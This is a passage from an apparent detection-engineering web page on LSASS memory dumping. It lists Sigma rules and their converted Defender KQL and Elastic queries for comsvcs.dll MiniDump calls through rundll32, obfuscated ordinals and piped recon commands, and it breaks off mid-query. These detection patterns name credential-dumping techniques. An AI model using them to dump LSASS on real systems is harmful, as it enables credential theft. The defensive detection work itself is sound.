&lt;figure&gt;&lt;a href=&quot;/wp-content/uploads/2025/09/Lsass-Dump-Sigma-Rules.png&quot;&gt;&lt;img alt=&quot;Lsass Dump Sigma Rules&quot; decoding=&quot;async&quot; height=&quot;349&quot; loading=&quot;lazy&quot; sizes=&quot;(max-width: 1149px) 100vw, 1149px&quot; src=&quot;/wp-content/uploads/2025/09/Lsass-Dump-Sigma-Rules.png&quot; srcset=&quot;/wp-content/uploads/2025/09/Lsass-Dump-Sigma-Rules.png 1149w, /wp-content/uploads/2025/09/Lsass-Dump-Sigma-Rules-300x91.png 300w, /wp-content/uploads/2025/09/Lsass-Dump-Sigma-Rules-1024x311.png 1024w, /wp-content/uploads/2025/09/Lsass-Dump-Sigma-Rules-768x233.png 768w&quot; width=&quot;1149&quot;/&gt;&lt;/a&gt;&lt;figcaption&gt;Lsass Dump Sigma Rules&lt;/figcaption&gt;&lt;/figure&gt;

&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Potential Obfuscated Ordinal Call Via Rundll32&lt;/a&gt; – catches &lt;code&gt;#,#+000024&lt;/code&gt; style calls&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Process Memory Dump Via Comsvcs.DLL&lt;/a&gt; – rundll32 invoking comsvcs MiniDump/ordinal 24&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_findstr_recon_pipe_output.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;Recon Command Output Piped To Findstr.EXE&lt;/a&gt; – flags recon where output is piped to findstr&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;siem-detections&quot;&gt;SIEM Detections&lt;/h2&gt;
&lt;p&gt;These queries were generated by converting the Sigma rule with &lt;strong&gt;pySigma backends.&lt;/strong&gt;&lt;/p&gt;

&lt;h3 id=&quot;potential-obfuscated-ordinal-call-via-rundll32&quot;&gt;Potential Obfuscated Ordinal Call Via Rundll32&lt;/h3&gt;
&lt;p&gt;Detects execution of “rundll32” with potential obfuscated ordinal calls&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;rundll32.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessVersionInfoOriginalFileName =~ &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;RUNDLL32.EXE&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;rundll32&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#+&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#-&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#0&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#655&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#656&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;(process.executable:*\\rundll32.exe OR process.pe.original_file_name:RUNDLL32.EXE OR process.command_line:*rundll32*) AND (process.command_line:(*#\+* OR *#\-* OR *#0* OR *#655* OR *#656*))
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_rundll32_obfuscated_ordinal_call.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;
&lt;h3 id=&quot;process-memory-dump-via-comsvcs-dll&quot;&gt;Process Memory Dump Via Comsvcs.DLL&lt;/h3&gt;
&lt;p&gt;Detects a process memory dump via “comsvcs.dll” using rundll32, covering multiple different techniques (ordinal, minidump function, etc.)&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ((FolderPath &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;endswith&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\\&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;rundll32.exe&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessVersionInfoOriginalFileName =~ &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;RUNDLL32.EXE&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;rundll32&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ((ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;comsvcs&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;full&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#-&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#+&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#24&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;24 &lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;MiniDump&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#65560&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;))) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ((ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;24&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;comsvcs&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;full&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt; #&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;,#&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;, #&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C99076&quot;&gt;\&quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;#&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Elastic&lt;/summary&gt;&lt;pre&gt;&lt;code class=&quot;language-lucene&quot;&gt;((process.executable:*\\rundll32.exe OR process.pe.original_file_name:RUNDLL32.EXE OR process.command_line:*rundll32*) AND ((process.command_line:*comsvcs* AND process.command_line:*full*) AND (process.command_line:(*#\-* OR *#\+* OR *#24* OR *24\ * OR *MiniDump* OR *#65560*)))) OR ((process.command_line:*24* AND process.command_line:*comsvcs* AND process.command_line:*full*) AND (process.command_line:(*\ #* OR *,#* OR *,\ #* OR *\&quot;#*)))
&lt;/code&gt;&lt;/pre&gt;
&lt;/details&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Sigma&lt;/summary&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_rundll32_process_dump_via_comsvcs.yml&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;View rule on GitHub&lt;/a&gt;&lt;/p&gt;
&lt;/details&gt;&lt;/div&gt;
&lt;h3 id=&quot;recon-command-output-piped-to-findstr-exe&quot;&gt;Recon Command Output Piped To Findstr.EXE&lt;/h3&gt;
&lt;p&gt;Detects the execution of a potential recon command where the results are piped to “findstr”. This is meant to trigger on inline calls of “cmd.exe” via the “/c” or “/k” for example. Attackers often time use this technique to extract specific information they require in their reconnaissance phase.&lt;/p&gt;

&lt;div class=&quot;tabs&quot;&gt;&lt;details open=&quot;&quot;&gt;&lt;summary&gt;Microsoft Defender (KQL)&lt;/summary&gt;&lt;pre class=&quot;shiki vitesse-dark&quot; style=&quot;background-color:#010101;color:#dbd7caee&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;DeviceProcessEvents&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;| &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;where&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;ipconfig&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;net&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;netstat&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;ping&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;systeminfo&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;find&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;or&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; (ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;tasklist&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span style=&quot;color:#C98A7D&quot;&gt;|&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt; and&lt;/span&gt;&lt;span style=&quot;color:#DBD7CAEE&quot;&gt; ProcessCommandLine &lt;/span&gt;&lt;span style=&quot;color:#4D9375&quot;&gt;contains&lt;/span&gt;&lt;span style=&quot;color:#C98A7D77&quot;&gt; &quot;&lt;/span&gt;&lt;span 